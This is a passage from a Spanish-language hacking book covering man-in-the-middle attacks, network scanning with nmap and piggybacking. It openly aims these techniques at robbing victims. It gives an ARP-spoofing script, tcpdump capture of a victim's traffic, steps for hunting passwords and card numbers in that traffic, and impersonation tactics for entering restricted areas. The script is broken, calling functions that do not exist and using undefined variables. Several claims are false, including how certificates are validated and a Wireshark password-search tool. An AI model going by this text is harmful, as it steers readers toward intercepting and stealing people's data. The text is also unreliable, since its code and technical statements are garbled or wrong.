Validación de certificado: La validación de certificado es el
proceso de verificar que un certificado de seguridad es
válido. Los navegadores web suelen realizar la validación de
certificado automáticamente, pero los usuarios también pueden
realizarla manualmente.
La validación de certificado automática suele realizarse
comparando la clave pública del servidor web con la clave
pública de la CA que emitió el certificado. Si las dos claves
públicas coinciden, el certificado se considera válido.
La validación de certificado manual suele realizarse
comparando la información del certificado con la información
del sitio web. Por ejemplo, un usuario puede verificar que la
dirección IP del servidor web coincide con la dirección IP que
se muestra en el certificado.
Cifrado de clave pública: El cifrado de clave pública es un
tipo de cifrado que utiliza dos claves, una clave pública y
una clave privada. La clave pública se utiliza para cifrar los
datos, y la clave privada se utiliza para descifrarlos.
El cifrado de clave pública es un componente esencial de los
certificados de seguridad. La clave pública se publica en el
sitio web, y la clave privada se mantiene en secreto por el
propietario del sitio web.
Ingeniería social: La ingeniería social es una técnica que
utiliza la manipulación psicológica para engañar a las
personas para que revelen información confidencial o realicen
acciones que no deberían realizar.
151
Los atacantes de MITM a menudo utilizan la ingeniería social
para engañar a las víctimas para que instalen software
malicioso o revelen contraseñas.
Análisis de tráfico: El análisis de tráfico es el proceso de
examinar el tráfico de red para detectar signos de actividad
maliciosa.
Los analistas de tráfico pueden utilizar una variedad de
herramientas y técnicas para detectar ataques MITM. Por
ejemplo, los analistas de tráfico pueden buscar paquetes de
datos que no estén cifrados o que contengan datos sospechosos.
Taxonomía de los ataques MITM
Los ataques MITM se pueden clasificar en función de varios
factores, incluyendo:
El método utilizado para interceptar el tráfico: Los ataques
MITM se pueden clasificar en función del método que utiliza el
atacante para interceptar el tráfico entre el cliente y el
servidor. Por ejemplo, un ataque de suplantación de identidad
utiliza un servidor falso para engañar a la víctima, mientras
que un ataque de intermediario utiliza un dispositivo para
interceptar el tráfico.
El nivel de seguridad utilizado: Los ataques MITM se pueden
clasificar en función del nivel de seguridad utilizado para
proteger el tráfico. Por ejemplo, los ataques MITM que
explotan vulnerabilidades en el software utilizan un nivel de
seguridad más bajo que los ataques MITM que utilizan técnicas
de ingeniería social.
152
Capítulo 11:
Acción Manual del
MITM
¿Que Se necesita para Un ataque MITM?
Los black hat utilizan una variedad de herramientas manuales
para realizar ataques MITM y robar a las personas. Algunas de
las herramientas más comunes incluyen:
Arquitectura de red: Puedes utilizar el acceso físico a la
infraestructura de red para colocar dispositivos de
interceptación, como sniffers o proxies.
Software malicioso: se utiliza software malicioso para
instalar un backdoor en el dispositivo de la víctima, lo que
les permite interceptar el tráfico de la víctima.
153
Ingeniería social: la ingeniería social sirve para engañar a
las víctimas para que instalen software malicioso o revelen
contraseñas.
Herramientas de red
Las herramientas de red se utilizan para interceptar el
tráfico de red. Algunos ejemplos de herramientas de red
incluyen:
Sniffer: Un sniffer es un dispositivo que captura todo el
tráfico de red que pasa por un punto determinado de la red.
Proxy: Un proxy es un servidor que actúa como intermediario
entre el cliente y el servidor. Se pueden utilizar un proxy
para interceptar el tráfico entre el cliente y el servidor.
ARP spoofing: El ARP spoofing es una técnica que permite a un
atacante hacerse pasar por un dispositivo de confianza en una
red. el ARP spoofing sirve para interceptar el tráfico entre
dos dispositivos de la red.
Software malicioso
El software malicioso se utiliza para instalar un backdoor en
el dispositivo de la víctima, lo que les permite interceptar
el tráfico de la víctima. Algunos ejemplos de software
malicioso que pueden utilizarse para ataques MITM incluyen:
Troyanos: Un troyano es un tipo de malware que se hace pasar
por un programa legítimo. pueden utilizar un troyano para
instalar un backdoor en el dispositivo de la víctima.
154
Ransomware: El ransomware es un tipo de malware que cifra los
datos del dispositivo de la víctima y exige un rescate para
descifrarlos. pueden utilizar el ransomware para engañar a las
víctimas para que instalen un backdoor en su dispositivo.
Adware: El adware es un tipo de malware que muestra anuncios
no deseados. pueden utilizar el adware para distribuir
software malicioso.
Ingeniería social
La ingeniería social se utiliza para engañar a las víctimas
para que instalen software malicioso o revelen contraseñas.
Algunos ejemplos de técnicas de ingeniería social que pueden
utilizarse para ataques MITM incluyen:
Phishing: El phishing es un ataque en el que el atacante envía
un correo electrónico o un mensaje de texto falso que se hace
pasar por una entidad legítima. pueden utilizar el phishing
para engañar a las víctimas para que instalen software
malicioso o revelen contraseñas.
Vishing: El vishing es un ataque en el que el atacante llama a
la víctima y se hace pasar por una entidad legítima. pueden
utilizar el vishing para engañar a las víctimas para que
instalen software malicioso o revelen contraseñas.
Pretexting: El pretexting es una técnica en la que el atacante
crea un pretexto para obtener información confidencial de la
víctima. pueden utilizar el pretexting para engañar a las
víctimas para que revelen contraseñas o información de
tarjetas de crédito.
Realizar Ataque MITM Manualmente
155
Para realizar un ataque MITM a un dispositivo que no es su
máquina, debe tener acceso físico a la red en la que se
encuentra ese dispositivo. Esto se puede hacer de varias
maneras, como:
Usar un dispositivo de interceptación de red: Un dispositivo
de interceptación de red es un dispositivo que se coloca en la
red para capturar el tráfico.
Usar un software malicioso: Un software malicioso puede
instalarse en la PC objetivo para capturar el tráfico.
Usar la ingeniería social: La ingeniería social puede usarse
para engañar a la víctima para que revele información
confidencial.
Una vez que tenga acceso al tráfico de la PC objetivo, puede
utilizar las mismas herramientas y técnicas que se describen
en el tutorial anterior para realizar el ataque MITM.
Ejemplos de ataques MITM
Aquí hay algunos ejemplos de cómo se pueden realizar ataques
MITM a una PC que no es su máquina virtual:
Un atacante podría colocar un dispositivo de interceptación de
red en el cableado de la red.
Un atacante podría enviar un correo electrónico malicioso a la
víctima que contenga un archivo adjunto malicioso.
156
Un atacante podría llamar a la víctima y hacerse pasar por un
representante de soporte técnico.
Para realizar un ataque MITM, puede utilizar el siguiente
script:
import [Link] as scapy
def main():
# Obtener la dirección IP del router
router_ip = [Link]().get_if_addr('eth0')
# Obtener la dirección MAC de la víctima
victim_mac = [Link]().get_if_hwaddr('wlan0')
# Enviar paquetes ARP Spoofing
while True:
[Link]().spoof(dst_ip=router_ip,
dst_mac=victim_mac, src_ip=victim_ip, src_mac=router_mac)
[Link]().spoof(dst_ip=victim_ip,
dst_mac=router_mac, src_ip=router_ip, src_mac=victim_mac)
[Link](1)
if __name__ == '__main__':
main()
157
Este script enviará paquetes ARP Spoofing a la víctima y al
router. Esto engañará a la víctima y al router para que crean
que son el uno del otro.
Una vez que haya enviado los paquetes ARP Spoofing, puede
capturar el tráfico de la víctima utilizando el siguiente
comando:
tcpdump -i wlan0 -s 0 -w [Link]
Este comando capturará todo el tráfico de la interfaz wlan0 y
lo guardará en un archivo llamado [Link].
Puede utilizar un analizador de paquetes para abrir el archivo
[Link] y examinar el tráfico de la víctima.
en nuestro caso utilizaremos el analizador "Wireshark"
Abra una terminal y ejecute el siguiente comando:
apt install wireshark
Este comando instalará el paquete Wireshark en su sistema.
Una vez que Wireshark esté instalado, puede iniciarlo
ejecutando el siguiente comando:
wireshark
158
Wireshark se abrirá en una ventana de la terminal.
Cómo analizar el tráfico con Wireshark
En la barra de menú, haga clic en Captura > Importar.
Esto abrirá el cuadro de diálogo Importar.
Seleccione el archivo de captura de Scapy que contiene el
tráfico de su víctima.
El archivo de captura debe tener la extensión .pcap.
Haga clic en Abrir.
Esto importará el tráfico de Scapy en Wireshark.
Una vez que haya importado el tráfico de Scapy, puede empezar
a analizar los paquetes.
Cómo buscar información confidencial en el tráfico de la
víctima
Para buscar información confidencial en el tráfico de la
víctima, puede utilizar los filtros y las herramientas de
análisis de Wireshark.
Filtros
Los filtros le permiten restringir la búsqueda a tipos
específicos de paquetes o contenido.
159
Para crear un filtro, haga clic en el botón Filtro en la barra
de herramientas.
A continuación, introduzca el filtro en el cuadro de texto
Filtro.
Por ejemplo, para buscar todos los paquetes HTTP, puede
utilizar el siguiente filtro:
[Link] == 80
Herramientas de análisis
Wireshark incluye una serie de herramientas de análisis que
pueden ayudarle a identificar información confidencial.
Para utilizar una herramienta de análisis, haga clic en el
botón Herramientas en la barra de herramientas.
A continuación, seleccione la herramienta de análisis que
desea utilizar.
Por ejemplo, para buscar contraseñas en el tráfico, puede
utilizar la herramienta Buscar contraseñas.
Consejos
Aquí hay algunos consejos para buscar información confidencial
en el tráfico de la víctima:
160
Busque paquetes que contengan información personal, como
nombres de usuario, contraseñas o números de tarjetas de
crédito.
Busque paquetes que contengan información confidencial, como
datos bancarios o información médica.
Utilice filtros para restringir la búsqueda a tipos
específicos de paquetes o contenido.
Utilice las herramientas de análisis para identificar
información confidencial.
Parte V: Hacking
Web
161
Capítulo 12:
Funcionamiento de
las Redes
¿Que es una Red?
Una red es un conjunto de dispositivos conectados entre sí
para compartir recursos. Los dispositivos de una red pueden
ser computadoras, servidores, impresoras, teléfonos
inteligentes y otros dispositivos electrónicos.
Ejemplos de redes
Algunos ejemplos de redes incluyen:
Una red doméstica, que conecta computadoras, impresoras y
otros dispositivos en el hogar.
162
Una red de oficina, que conecta computadoras, servidores e
impresoras en una oficina.
Una red inalámbrica, que conecta dispositivos sin cables.
Una red de área amplia (WAN), que conecta redes en diferentes
ubicaciones geográficas.
Funciones de una red
Las redes permiten a los dispositivos compartir recursos,
como:
Datos: Las redes permiten a los dispositivos compartir
archivos, carpetas y otros datos.
Impresoras: Las redes permiten a los dispositivos compartir
impresoras.
Internet: Las redes permiten a los dispositivos conectarse a
Internet.
tros recursos: Las redes también pueden permitir a los
dispositivos compartir otros recursos, como almacenamiento y
aplicaciones.
Tipos de redes
Las redes se pueden clasificar según su alcance, su topología
y su tecnología de transmisión.
163
Alcance
Según su alcance, las redes se pueden clasificar en:
Redes locales (LAN): Las LAN son redes que se encuentran en un
área geográfica relativamente pequeña, como un edificio o un
campus.
Redes metropolitanas (MAN): Las MAN son redes que conectan
varias LAN en un área metropolitana.
Redes de área amplia (WAN): Las WAN son redes que conectan LAN
en áreas geográficas más grandes, como un país o un
continente.
Topología
Según su topología, las redes se pueden clasificar en:
Redes en estrella: Las redes en estrella tienen un dispositivo
central que conecta todos los demás dispositivos de la red.
Redes en bus: Las redes en bus tienen un único cable que
conecta todos los dispositivos de la red.
Redes en anillo: Las redes en anillo tienen un cable que
conecta todos los dispositivos de la red en una sola
dirección.
Redes malla: Las redes malla tienen múltiples enlaces entre
164
los dispositivos de la red.
Tecnología de transmisión
Según su tecnología de transmisión, las redes se pueden
clasificar en:
Redes cableadas: Las redes cableadas utilizan cables para
conectar los dispositivos de la red.
Redes inalámbricas: Las redes inalámbricas utilizan ondas de
radio para conectar los dispositivos de la red.
Ejemplos
Aquí hay algunos ejemplos de cada tipo de red:
Redes locales (LAN): Una red doméstica, una red de oficina,
una red de área local de un campus universitario.
Redes metropolitanas (MAN): Una red de transporte público, una
red de cámaras de seguridad de un municipio.
Redes de área amplia (WAN): Internet, una red corporativa que
conecta oficinas en diferentes ubicaciones.
Tecnología de transmisión
Según su tecnología de transmisión, las redes se pueden
clasificar en:
165
Redes cableadas: Las redes cableadas utilizan cables para
conectar los dispositivos de la red.
Redes inalámbricas: Las redes inalámbricas utilizan ondas de
radio para conectar los dispositivos de la red.
Propósito
Las redes también se pueden clasificar según su propósito.
Algunos tipos de redes comunes incluyen:
Intranets: Las intranets son redes privadas que solo son
accesibles para los usuarios autorizados.
Extranets: Las extranets son redes semiprivadas que permiten
el acceso a los usuarios autorizados externos a la
organización.
Internet: Internet es una red global de redes que conecta a
millones de dispositivos en todo el mundo.
Intranets
Una intranet es una red privada que solo es accesible para los
usuarios autorizados. Las intranets suelen utilizarse por
organizaciones para compartir información y recursos internos,
como documentos, aplicaciones y software.
Ethernet
166
Ethernet es un estándar de red que utiliza cables de par
trenzado para conectar dispositivos. Ethernet es el estándar
de red más común en el mundo.
Protocolos de red
Los protocolos de red son conjuntos de reglas que rigen la
comunicación entre los dispositivos de una red. Los protocolos
de red definen cómo se empaquetan los datos, cómo se envían
los datos y cómo se reciben los datos.
Tipos de protocolos de red
Hay muchos tipos diferentes de protocolos de red, cada uno con
su propio propósito. Algunos protocolos de red comunes
incluyen:
TCP/IP: TCP/IP es el protocolo de red más utilizado en el
mundo. TCP/IP es un conjunto de protocolos que se utilizan
para conectar dispositivos en Internet.
167
UDP: UDP es un protocolo de red que se utiliza para enviar
datos de forma rápida y eficiente. UDP no garantiza la entrega
de datos, pero es más rápido que TCP.
HTTP: HTTP es un protocolo de red que se utiliza para
transferir páginas web. HTTP es el protocolo de red que
utilizas cuando navegas por Internet.
168
FTP: FTP es un protocolo de red que se utiliza para transferir
archivos. FTP es el protocolo de red que utilizas para
descargar archivos de Internet.
SMTP: SMTP es un protocolo de red que se utiliza para enviar
correo electrónico. SMTP es el protocolo de red que utilizas
para enviar correos electrónicos.
169
Funciones de los protocolos de red
Los protocolos de red realizan una serie de funciones
importantes, que incluyen:
Establecer una conexión: Los protocolos de red establecen una
conexión entre dos dispositivos antes de que se pueda
transferir ningún dato.
Empaquetar datos: Los protocolos de red empaquetan los datos
en unidades más pequeñas que se pueden enviar fácilmente a
través de una red.
Enviar datos: Los protocolos de red envían datos a través de
una red.
Recibir datos: Los protocolos de red reciben datos de una red.
Capítulo 13:
Análisis Básico de
Redes
170
El análisis de redes es el proceso de recopilar información
sobre una red para comprender su funcionamiento y
vulnerabilidades. El análisis de redes se puede realizar de
forma manual o utilizando herramientas automatizadas.
El capítulo proporcionará una introducción al análisis de
redes. El capítulo cubrirá los siguientes temas:
Objetivos del análisis de redes
Técnicas de análisis de redes
Herramientas de análisis de redes
Objetivos del análisis de redes
Los objetivos del análisis de redes pueden variar según la
situación. Algunos objetivos comunes del análisis de redes
incluyen:
Comprender la topología de la red
Identificar los dispositivos de la red
Determinar las vulnerabilidades de la red
Evaluar la seguridad de la red
Técnicas de análisis de redes
171
Hay una variedad de técnicas de análisis de redes que se
pueden utilizar para recopilar información sobre una red.
Algunas técnicas comunes de análisis de redes incluyen:
Recolección de información pasiva: La recolección de
información pasiva es el proceso de recopilar información
sobre una red sin interactuar con ella.
Recolección de información activa: La recolección de
información activa es el proceso de recopilar información
sobre una red interactuando con ella.
Herramientas de análisis de redes
Hay una variedad de herramientas de análisis de redes
disponibles. Algunas herramientas de análisis de redes comunes
incluyen:
Nmap: Nmap es una herramienta gratuita y de código abierto que
se utiliza para escanear redes.
Wireshark: Wireshark es una herramienta gratuita y de código
abierto que se utiliza para capturar y analizar el tráfico de
red.
Metasploit: Metasploit es un framework de hacking que se
utiliza para probar la seguridad de las redes.
Análisis de red de capa 3, capa 7 y análisis de red de
comportamiento
El análisis de red es el proceso de recopilar información
sobre una red para comprender su funcionamiento y
vulnerabilidades. El análisis de red se puede realizar de
172
forma manual o utilizando herramientas automatizadas.
Análisis de red de capa 3
El análisis de red de capa 3 se centra en el tráfico de red en
la capa de red del modelo OSI. La capa de red es responsable
del enrutamiento de los datos a través de una red.
El análisis de red de capa 3 puede utilizarse para recopilar
información sobre los siguientes aspectos de una red:
Topología de la red: El análisis de red de capa 3 puede
utilizarse para determinar cómo están conectados los
dispositivos de una red.
Rendimiento de la red: El análisis de red de capa 3 puede
utilizarse para medir el rendimiento de una red.
Seguridad de la red: El análisis de red de capa 3 puede
utilizarse para identificar vulnerabilidades de seguridad en
una red.
Herramientas comunes para el análisis de red de capa 3:
Nmap: Nmap es una herramienta gratuita y de código abierto que
se utiliza para escanear redes.
Wireshark: Wireshark es una herramienta gratuita y de código
abierto que se utiliza para capturar y analizar el tráfico de
red.
SolarWinds Network Performance Monitor: SolarWinds Network
173
Performance Monitor es una herramienta comercial que se
utiliza para supervisar el rendimiento de las redes.
Análisis de red de capa 7
El análisis de red de capa 7 se centra en el tráfico de red en
la capa de aplicación del modelo OSI. La capa de aplicación es
responsable de la interacción entre los usuarios y los
servicios de red.
El análisis de red de capa 7 puede utilizarse para recopilar
información sobre los siguientes aspectos de una red:
Uso de los recursos de red: El análisis de red de capa 7 puede
utilizarse para determinar cómo se utilizan los recursos de
red.
Comportamiento del usuario: El análisis de red de capa 7 puede
utilizarse para identificar patrones de comportamiento del
usuario.
Seguridad de la red: El análisis de red de capa 7 puede
utilizarse para identificar ataques de malware y otros
ataques.
Herramientas comunes para el análisis de red de
capa 7:
SIEM: Un sistema de información y evento de seguridad (SIEM)
es una herramienta que recopila y analiza datos de seguridad
de diferentes fuentes.
UEBA: El análisis de comportamiento de usuario y entidad
174
(UEBA) es una técnica de análisis de seguridad que utiliza el
comportamiento del usuario y la entidad para identificar
amenazas.
IDS/IPS: Un sistema de detección de intrusiones (IDS) o un
sistema de prevención de intrusiones (IPS) es una herramienta
que se utiliza para detectar y prevenir ataques.
Análisis de red de comportamiento
El análisis de red de comportamiento es un enfoque de análisis
de red que se centra en el comportamiento del tráfico de red.
El análisis de red de comportamiento utiliza técnicas de
aprendizaje automático para identificar patrones de
comportamiento anómalos que pueden indicar una amenaza.
El análisis de red de comportamiento puede utilizarse para
identificar los siguientes tipos de amenazas:
Ataques dirigidos: Los ataques dirigidos son ataques que están
dirigidos a un objetivo específico.
Ataques generalizados: Los ataques generalizados son ataques
que están dirigidos a un gran número de objetivos.
Ataques de malware: Los ataques de malware son ataques que
utilizan malware para infectar dispositivos.
Herramientas comunes para el análisis de red de
comportamiento:
175
CrowdStrike Falcon: CrowdStrike Falcon es una herramienta
comercial que utiliza el análisis de comportamiento para
identificar amenazas.
Palo Alto Networks Cortex XDR: Palo Alto Networks Cortex XDR
es una herramienta comercial que utiliza el análisis de
comportamiento para identificar amenazas.
Cisco SecureX: Cisco SecureX es una herramienta comercial que
utiliza el análisis de comportamiento para identificar
amenazas.
Análisis de paquetes forense y el análisis de
tráfico de red
El análisis de paquetes forense y el análisis de tráfico de
red son dos técnicas de análisis de redes que se utilizan para
recopilar información sobre el tráfico de red. El análisis de
paquetes forense se centra en el análisis de paquetes
individuales, mientras que el análisis de tráfico de red se
centra en el análisis de un conjunto de paquetes.
Análisis de paquetes forense
El análisis de paquetes forense es el proceso de analizar
paquetes individuales de datos para recopilar información
sobre un evento de seguridad. Los paquetes de datos son las
unidades básicas de datos que se envían a través de una red.
El análisis de paquetes forense se puede utilizar
para recopilar información sobre los siguientes
aspectos de un evento de seguridad:
176
Fuente y destino: El análisis de paquetes forense puede
utilizarse para determinar la fuente y el destino de un
ataque.
Método de ataque: El análisis de paquetes forense puede
utilizarse para determinar el método utilizado para realizar
un ataque.
Datos comprometidos: El análisis de paquetes forense puede
utilizarse para determinar los datos que fueron comprometidos
en un ataque.
Herramientas de análisis de paquetes forense
Hay una variedad de herramientas de análisis de paquetes
forense disponibles. Algunas herramientas de análisis de
paquetes forense comunes incluyen:
Wireshark: Wireshark es una herramienta gratuita y de código
abierto que se utiliza para capturar y analizar el tráfico de
red.
tcpdump: tcpdump es una herramienta gratuita y de código
abierto que se utiliza para capturar paquetes de datos en
tiempo real.
Forensic Toolkit (FTK): FTK es una herramienta comercial que
se utiliza para analizar datos forenses.
Análisis de tráfico de red
El análisis de tráfico de red es el proceso de analizar un
177
conjunto de paquetes de datos para recopilar información sobre
el comportamiento del tráfico de red. El análisis de tráfico
de red se puede utilizar para identificar patrones de
comportamiento anómalos que pueden indicar una amenaza.
El análisis de tráfico de red se puede utilizar para recopilar
información sobre los siguientes aspectos del comportamiento
del tráfico de red:
Volumen de tráfico: El análisis de tráfico de red puede
utilizarse para determinar el volumen de tráfico de red que se
está generando.
Frecuencia de tráfico: El análisis de tráfico de red puede
utilizarse para determinar la frecuencia con la que se está
generando tráfico de red.
Destinos de tráfico: El análisis de tráfico de red puede
utilizarse para determinar los destinos de tráfico de red.
Herramientas de análisis de tráfico de red
Hay una variedad de herramientas de análisis de tráfico de red
disponibles. Algunas herramientas de análisis de tráfico de
red comunes incluyen:
SIEM: Un sistema de información y evento de seguridad (SIEM)
es una herramienta que recopila y analiza datos de seguridad
de diferentes fuentes.
UEBA: El análisis de comportamiento de usuario y entidad
(UEBA) es una técnica de análisis de seguridad que utiliza el
comportamiento del usuario y la entidad para identificar
amenazas.
178
IDS/IPS: Un sistema de detección de intrusiones (IDS) o un
sistema de prevención de intrusiones (IPS) es una herramienta
que se utiliza para detectar y prevenir ataques.
Diferencias entre análisis de paquetes forense y análisis de
tráfico de red
El análisis de paquetes forense y el análisis de tráfico de
red son dos técnicas de análisis de redes que tienen algunas
diferencias clave.
Precisión: El análisis de paquetes forense es más preciso que
el análisis de tráfico de red, ya que se centra en el análisis
de paquetes individuales.
Escalabilidad: El análisis de tráfico de red es más escalable
que el análisis de paquetes forense, ya que puede analizar
grandes cantidades de datos de forma rápida y eficiente.
Costo: El análisis de tráfico de red suele ser más costoso que
el análisis de paquetes forense, ya que requiere el uso de
herramientas y hardware especializados.
Usos
El análisis de paquetes forense y el análisis de tráfico de
red se utilizan para una variedad de propósitos, que incluyen:
Investigación forense: El análisis de paquetes forense se
utiliza para investigar eventos de seguridad, como intrusiones
y ataques de malware.
179
Seguridad: El análisis de tráfico de red se utiliza para
identificar amenazas y vulnerabilidades de seguridad.
Análisis de rendimiento: El análisis de tráfico de red se
utiliza para analizar el rendimiento de las redes.
El análisis de redes se puede utilizar de forma maliciosa para
una variedad de propósitos, que incluyen:
Espionaje: El análisis de redes se puede utilizar para
recopilar información confidencial, como contraseñas, datos
financieros o información personal.
Ataques: El análisis de redes se puede utilizar para lanzar
ataques, como intrusiones, ataques de malware o ataques de
denegación de servicio.
Fraude: El análisis de redes se puede utilizar para cometer
fraude, como robar identidades o realizar transacciones
fraudulentas.
Aquí hay algunos ejemplos específicos de cómo se puede
utilizar el análisis de redes de forma maliciosa:
Un atacante puede utilizar el análisis de redes para
identificar dispositivos vulnerables en una red. Una vez que
se identifica un dispositivo vulnerable, el atacante puede
explotar la vulnerabilidad para tomar el control del
dispositivo.
Un atacante puede utilizar el análisis de redes para rastrear
el tráfico de red de un objetivo. Esto puede permitir al
atacante recopilar información sobre las actividades del
objetivo, como sitios web visitados, aplicaciones utilizadas y
personas contactadas.
180
Un atacante puede utilizar el análisis de redes para robar
datos confidenciales de una red. Esto se puede hacer
interceptando el tráfico de red o accediendo a los
dispositivos de la red.
Como realizar un analisis de Redes Basico Con
NMAP
Para analizar una red de manera básica y simple en Nmap, siga
estos pasos:
Instale Nmap: Si aún no lo ha hecho, instale Nmap en su
sistema. Puede encontrar instrucciones de instalación en el
sitio web de Nmap.
Ejecute un escaneo de puertos: Para realizar un escaneo de
puertos, ejecute el siguiente comando:
nmap -sP <dirección IP>
Este comando escaneará la dirección IP especificada en busca
de dispositivos activos.
Interprete los resultados del escaneo: Los resultados del
escaneo se mostrarán en la pantalla. Los resultados incluirán
una lista de los dispositivos activos que se encontraron, así
como sus direcciones IP.
Realice un escaneo de puertos más detallado: Para realizar un
escaneo de puertos más detallado, ejecute el siguiente
comando:
181
nmap -sV -sC -T4 <dirección IP>
Este comando escaneará los puertos abiertos en los
dispositivos activos que se encontraron. El parámetro -sV
identificará los servicios que se están ejecutando en los
puertos abiertos. El parámetro -sC ejecutará los escaneos de
detección de vulnerabilidades predeterminados de Nmap. El
parámetro -T4 especifica que Nmap debe ejecutarse en modo
rápido.
Interprete los resultados del escaneo detallado: Los
resultados del escaneo detallado se mostrarán en la pantalla.
Los resultados incluirán información sobre los puertos
abiertos en los dispositivos activos, así como los servicios
que se están ejecutando en esos puertos.
Aquí hay un ejemplo de los resultados de un escaneo de puertos
detallado:
Starting Nmap 7.92 ( [Link] ) at 2023-10-28 23:46
UTC
Nmap scan report for [Link]
Host is up (0.0014s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu
Linux; protocol 2.0)
80/tcp open http Apache HTTP Server Version 2.4.41
(Ubuntu)
443/tcp open https Apache HTTP Server Version 2.4.41
(Ubuntu)
En este ejemplo, el dispositivo activo tiene las siguientes
características:
182
Dirección IP: [Link]
Puertos abiertos: 22, 80 y 443
Servicios que se están ejecutando en los puertos abiertos:
Puerto 22: OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux;
protocol 2.0)
Puerto 80: Apache HTTP Server Version 2.4.41 (Ubuntu)
Puerto 443: Apache HTTP Server Version 2.4.41 (Ubuntu)
Con estos resultados, un analista de seguridad podría comenzar
a investigar el dispositivo para identificar posibles
problemas o vulnerabilidades.
Aquí hay algunos consejos para realizar un
análisis de redes básico y simple en Nmap:
Comience con un escaneo de puertos básico. Esto le dará una
idea general de los dispositivos que están conectados a la red
y los servicios que se están ejecutando en esos dispositivos.
Realice un escaneo de puertos más detallado para recopilar más
información. Esto puede incluir información sobre los sistemas
operativos que se están ejecutando en los dispositivos, así
como las vulnerabilidades de seguridad conocidas.
Interprete los resultados del escaneo cuidadosamente. Busque
183
cualquier cosa que parezca inusual o sospechoso.
Utilización y Uso Futuro de Las Redes
La información capturada con el análisis de redes que acabamos
de aprender a hacer puede utilizarse para una variedad de
propósitos, tanto legítimos como maliciosos.
Usos legítimos:
Análisis de seguridad: La información recopilada se puede
utilizar para identificar y corregir vulnerabilidades de
seguridad en una red.
Planificación de la red: La información recopilada se puede
utilizar para planificar el crecimiento y el desarrollo de una
red.
Soporte técnico: La información recopilada se puede utilizar
para diagnosticar y resolver problemas en una red.
Usos maliciosos:
Intrusiones: La información recopilada se puede utilizar para
lanzar ataques de intrusión en una red.
Ataques de malware: La información recopilada se puede
utilizar para lanzar ataques de malware en una red.
Robo de datos: La información recopilada se puede utilizar
para robar datos confidenciales de una red.
Para escalar el análisis de redes a ataques mayores, se pueden
184
utilizar las siguientes técnicas:
Escaneo de puertos avanzado: El escaneo de puertos avanzado
puede identificar puertos abiertos que no están registrados en
los servicios conocidos.
Ingeniería social: La ingeniería social puede utilizarse para
engañar a los usuarios para que revelen información
confidencial.
Explotación de vulnerabilidades: Las vulnerabilidades de
seguridad conocidas se pueden explotar para tomar el control
de los dispositivos de una red.
Por ejemplo, un atacante podría utilizar el escaneo de puertos
avanzado para identificar un puerto abierto que no está
registrado en los servicios conocidos. Este puerto podría ser
un servicio mal configurado o una vulnerabilidad de seguridad
conocida. El atacante podría entonces utilizar la ingeniería
social para engañar a un usuario para que revele la contraseña
de ese servicio. Una vez que el atacante tiene la contraseña,
podría utilizarla para tomar el control del dispositivo.
Capítulo 14:
185
Piggybacking con
Privilegios
¿Que es el Piggybacking?
El piggybacking es una técnica de ingeniería social que se
utiliza para obtener acceso a un área restringida o a
información confidencial. Esta técnica se basa en la confianza
que la víctima tiene en otra persona.
Para utilizar el piggybacking para manipular a víctimas y
obtener accesos, el atacante debe primero ganarse la confianza
de la víctima. Esto se puede hacer de varias maneras, como:
Fingir ser un empleado autorizado. El atacante puede vestirse
con ropa de trabajo o llevar una credencial de empleado falsa.
Fingir ser un cliente o proveedor. El atacante puede llevar un
maletín o una carpeta para dar la impresión de estar en un
viaje de negocios.
Fingir ser un amigo o familiar de la víctima. El atacante
puede usar un nombre falso o una historia falsa para ganarse
la confianza de la víctima.
186
Una vez que el atacante ha ganado la confianza de la víctima,
puede intentar seguirla a través de una puerta de seguridad o
solicitar acceso a una área restringida. Si la víctima está lo
suficientemente confiada, es probable que le permita al
atacante entrar.
Una vez que el atacante ha obtenido acceso, puede robar
información confidencial o realizar otras acciones maliciosas.
Ejemplos de cómo utilizar el piggybacking para
manipular a víctimas y obtener accesos:
Un atacante puede fingir ser un empleado de mantenimiento para
obtener acceso a un edificio. Una vez dentro, puede robar
información confidencial o instalar malware.
Un atacante puede fingir ser un cliente para obtener acceso a
una oficina. Una vez dentro, puede robar una computadora
portátil o información confidencial.
Un atacante puede fingir ser un amigo de un empleado para
obtener acceso a un área restringida. Una vez dentro, puede
robar información confidencial o realizar espionaje.
Los privilegios en las Redes
Los privilegios son los derechos que un usuario tiene para
acceder a recursos en una red. Los usuarios con privilegios
tienen acceso a más recursos que los usuarios con privilegios
inferiores.
Los privilegios se pueden clasificar en dos tipos
187
principales:
Privilegios de sistema: Los privilegios de sistema permiten a
los usuarios realizar tareas administrativas en el sistema
operativo. Estos privilegios incluyen la capacidad de instalar
software, modificar la configuración del sistema y crear
cuentas de usuario.
Privilegios de aplicación: Los privilegios de aplicación
permiten a los usuarios realizar tareas específicas en una
aplicación. Estos privilegios pueden incluir la capacidad de
crear y modificar datos, ejecutar programas y acceder a
recursos protegidos.
Los privilegios son necesarios para permitir que los usuarios
realicen tareas importantes en una red. Sin embargo, los
privilegios también pueden ser un riesgo de seguridad. Los
atacantes pueden aprovechar los privilegios para acceder a
recursos a los que no deberían tener acceso.
¿Cómo se pueden identificar los usuarios con
privilegios?
Los usuarios con privilegios tienen acceso a más recursos que
los usuarios con privilegios inferiores. Esto los convierte en
un objetivo importante para los atacantes, que pueden
aprovechar estos privilegios para acceder a información
confidencial o realizar acciones maliciosas.
Para protegerse de este riesgo, las organizaciones deben ser
capaces de identificar a los usuarios con privilegios. Esto se
puede hacer de varias maneras, incluyendo:
Analizando las políticas de acceso: Las políticas de acceso
definen qué usuarios tienen acceso a qué recursos. Al analizar
estas políticas, las organizaciones pueden identificar a los
188
usuarios que tienen privilegios.
Realizando auditorías de seguridad: Las auditorías de
seguridad pueden identificar a los usuarios que han accedido a
recursos a los que no deberían tener acceso. Esto puede
indicar que el usuario tiene privilegios.
Utilizando herramientas de administración de usuarios: Las
herramientas de administración de usuarios pueden proporcionar
información sobre los usuarios, incluyendo sus privilegios.
Signos que indican que un usuario tiene
privilegios
Además de las técnicas mencionadas anteriormente, también hay
algunos signos que pueden indicar que un usuario tiene
privilegios. Estos signos incluyen:
El usuario tiene acceso a recursos que están restringidos a
los usuarios con privilegios inferiores.
El usuario tiene una cuenta con un nombre de usuario y
contraseña especiales.
El usuario tiene acceso a herramientas administrativas.
El usuario tiene la capacidad de realizar cambios en el
sistema operativo o en las aplicaciones.
¿Cómo se puede aprovechar la identidad de un
usuario con privilegios?
189
Hay dos formas principales de aprovechar la identidad de un
usuario con privilegios:
